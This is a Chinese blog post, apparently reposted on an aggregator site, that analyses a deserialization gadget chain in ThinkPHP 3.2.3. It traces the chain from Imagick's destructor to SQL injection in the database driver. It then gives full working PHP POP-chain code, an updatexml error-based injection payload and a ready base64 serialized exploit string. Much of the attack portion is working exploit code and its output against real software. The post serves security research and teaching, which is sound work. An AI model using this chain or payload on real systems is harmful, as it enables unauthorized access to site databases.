当前位置:网站首页>thinkphp3.2.3反序列化利用链分析
thinkphp3.2.3反序列化利用链分析
2022-06-11 03:20:00 【Ufgnixya】
thinkphp3.2.3反序列化利用链分析
前置知识:
- PHP反序列化原理
PHP反序列化就是在读取一段字符串然后将字符串反序列化成php对象。 - 在PHP反序列化的过程中会自动执行一些魔术方法
方法名 ---------------调用条件
__call 调用不可访问或不存在的方法时被调用
__callStatic 调用不可访问或不存在的静态方法时被调用
__clone 进行对象clone时被调用,用来调整对象的克隆行为
__constuct 构建对象的时被调用;
__debuginfo 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct 明确销毁对象或脚本结束时被调用;
__get 读取不可访问或不存在属性时被调用
__invoke 当以函数方式调用对象时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
__set 当给不可访问或不存在属性赋值时被调用
__set_state 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString 当一个类被转换成字符串时被调用
__unset 对不可访问或不存在的属性进行unset时被调用
__wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作
- 反序列化的常见起点
__wakeup 一定会调用
__destruct 一定会调用
__toString 当一个对象被反序列化后又被当做字符串使用
4.反序列化的常见中间跳板:
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
形如 $this->$func();
5.反序列化的常见终点:
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里
6.Phar反序列化原理以及特征
phar://伪协议会在多个函数中反序列化其metadata部分
受影响的函数包括不限于如下:
copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,
fileinode,filemtime,fileowner,fileperms,
fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,
is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,
imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,
get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo
环境:
搭建
先到thinkphp官网去下载thinkphp_v3.2.3完整版源码(https://www.thinkphp.cn/Down),然后解压到phpstudy网站根目录下。
利用条件
具有反序列化入口
入口
先写一个反序列化入口,在控制器写入:
//Application/Home/Controller/HelloController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller
{
public function index(){
echo base64_decode($_GET['Ufgnix']);
unserialize(base64_decode($_GET['Ufgnix']));
}
}
分析过程
由上面的前置知识知道,反序列化头一般在__destruct方法,因此全局搜索__destruct()一个个查看,以可控变量尽量多的原则进行筛选,最终找到:ThinkPHP/Library/Think/Image/Driver/Imagick.class.php 文件中,具有可控变量的析构函数方法:

分析:
如果我们对 img 属性赋一个对象,那么它会调用 destroy() 方法,因此继续往下走,我们全局搜索具有 destroy() 方法的类
注意:
在PHP7版本中,如果无参调用一个含参方法,ThinkPHP会报错,而在PHP5版本中不会报错
我们全局搜索destroy() 方法的类,找到的的结果如下:ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

<?php
namespace Think\Session\Driver;
class Memcache {
protected $lifeTime = 3600;
protected $sessionName = '';
protected $handle = null;
public function destroy($sessID) {
return $this->handle->delete($this->sessionName.$sessID);
}
destroy() 方法有两个可控参数($handle、$sessionName),$sessID不可控。调用 delete 方法,同样,类可控, delete 方法的参数看似可控,其实不可控,因为下方全局搜索后, delete 方法需要的参数大多数都为 array 形式,而上方传入的是 $this->sessionName.$sessID ,即使 $this->sesionName 设置为数组 array ,但是 $sessID 如果为空值,在PHP中,用 . 连接符连接,得到的结果为字符串 array。
<?php
$a = array("123"=>"123");
var_dump($a."");
?>
string(5) "Array"
PHP Notice: Array to string conversion
先继续搜索一下delete方法:ThinkPHP/Library/Think/Model.class.php文件中
//ThinkPHP/Library/Think/Model.class.php
<?php
//只记录关键代码
namespace Think;
class Model {
protected $db = null;
// 主键名称
protected $pk = 'id';
// 数据信息
protected $data = array();
// 查询表达式参数
protected $options = array();
public function delete($options=array()) {
$pk = $this->getPk();
if(empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}
// 分析表达式
$options = $this->_parseOptions($options);
if(empty($options['where'])){
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if(false !== $result && is_numeric($result)) {
$data = array();
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_delete($data,$options);
}
// 返回删除记录个数
return $result;
}
p k 、 pk、 pk、data、$options变量可控,
public function delete($options=array()) {
$pk = $this->getPk();
if(empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}
看这一段,获取主键,然后判断是否为空,如果为空,就会自己调用自己获取主键,使自己不为空
脱离当前if判断区域,继续向下走:
我们要利用delete方法执行删除操作,因此设置$options['where']="1=1"即可,下面,第二次调用delete方法,不过这里的delete方法就不是上面那个,而是db里面的,而db我们可控,由利用连调试,这里会去调用到数据库驱动类中的delete()中去,而不是当前文件当中的delete()方法,即ThinkPHP/Library/Think/Db/Driver.class.php中的delete():
可以看到$table经过parseTable方法处理之后,直接进行了拼接,而parseTable方法中并无过滤操作,因此出现注入问题,这样,一条完整的链子就出来了
ThinkPHP/Library/Think/Image/Driver/Imagick.class.php::__destruct()–>ThinkPHP/Library/Think/Session/Driver/Memcache.class.php::destory()–>ThinkPHP/Library/Think/Model.class.php::delete()–>ThinkPHP/Library/Think/Db/Driver.class.php::delete()
构造pop:
首先是__destruct,我们需要调用Memcache的destroy方法
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
接下来$this->handle指向Model类去调用delete方法,并精心构造我们的sql语句
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "username where 1=updatexml(1,user(),1)#",
"where" => "1=1"//分析中说过这里要设置where=‘1=1’
);
}
}
注意我们需要去初始化数据库的连接,这里我们使用默认的在Think\Db\Driver\Mysq下的Mysql,发现继承了Driver类,这里建立了PDO配置建立数据库连接,因此我们只需要在Mysql下配置好数据库配置即可
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
);
protected $config = array(
"debug" => 1,
"database" => "test",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "testtest",
"password" => "testtest"
);
}
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data=array();
protected $pk;
protected $options=array();
protected $db=null;
public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'
);
}
}
}
//初始化数据库连接
namespace Think\Db\Driver{
use PDO;
class Mysql {
protected $config = array(
'debug' => true,
"charset" => "utf8",
'type' => 'mysql', // 数据库类型
'hostname' => 'localhost', // 服务器地址
'database' => 'thinkphp', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
);
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
//PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了,开启后可堆叠注入
);
}
}
namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
?>
得到:
?Ufgnix=
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6NzoiACoAZGF0YSI7YToxOntzOjI6ImlkIjthOjI6e3M6NToid2hlcmUiO3M6MzoiMT0xIjtzOjU6InRhYmxlIjtzOjU5OiJteXNxbC51c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpIyI7fX1zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjEwOiIAKgBvcHRpb25zIjthOjE6e3M6NToid2hlcmUiO3M6MDoiIjt9czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjk6IgAqAGNvbmZpZyI7YTo4OntzOjU6ImRlYnVnIjtiOjE7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6NDoidHlwZSI7czo1OiJteXNxbCI7czo4OiJob3N0bmFtZSI7czo5OiJsb2NhbGhvc3QiO3M6ODoiZGF0YWJhc2UiO3M6ODoidGhpbmtwaHAiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290IjtzOjg6Imhvc3Rwb3J0IjtzOjQ6IjMzMDYiO31zOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fX19fX0=
传入,检验无误
边栏推荐
- 音乐正版率关键数据缺失,网易云音乐IPO胜算几何?
- 单片机通信数据延迟问题排查
- Help you distinguish GNU, GCC, GCC and G++
- B_ QuRT_ User_ Guide(19)
- Artalk | how to build a domestic hyperfusion evolutionary base with minimum investment?
- PostgreSQL source code learning (22) - fault recovery ③ - transaction log registration
- WEB上传文件预览
- org. apache. solr. common. SolrException:Could not load core configuration for core hotel
- Reasons why Chinese comments cannot be written in XML
- 被“内卷”酸翻的OPPO Reno6
猜你喜欢
![[safety science popularization] have you been accepted by social workers today?](/img/ac/a6d2aa48219d02d82240d2f5343f19.jpg)
[safety science popularization] have you been accepted by social workers today?

HQChart实战教程55-欧易网K线面积图

Hough transform of image

【安全科普】今天你被社工了吗?

SQL查询连续三天登录的用户

If not, use the code generator to generate a set of addition, deletion, modification and query (2)

In June, 2022, China Database ranking: tidb made a comeback to win the crown, and Dameng was dormant and won the flowers in May

iQOO 8实测上手体验:王者归来,从不高调

PostgreSQL source code learning (XX) -- fault recovery ① - transaction log format

Demand and Prospect of 3D GIS Industry
随机推荐
Delete the watermark of the picture uploaded by CSDN
ThoughtWorks.QRCode功能齐全的生成器
Log4j use
被“内卷”酸翻的OPPO Reno6
com. mchange. v2.c3p0. Combopooleddatasource red
canvas绘图——如何把图形放置画布中心
潮玩力真火力!年轻人第一台巨幕影院?酷开电视Max 86“庞然来袭
GD32 can发送报no mailbox 故障
C language pointer
PostgreSQL source code learning (17) -- mvcc ② - Introduction to snapshot and isolation level
Difference between idea open and import project
ROS Basics - use the launch file (I) - start multiple ROS nodes in batch
Deep parsing of question mark expressions
[safety science popularization] have you been accepted by social workers today?
023 MySQL index optimization tips - common cases of index failure
PostgreSQL source code learning (21) -- fault recovery ② - transaction log initialization
postgresql 函数的参数为自定义类型时传参格式
OPPO K9试水“捆绑销售”,消费者“赚了”还是“亏了”?
Integrated MP code generator
B_ QuRT_ User_ Guide(16)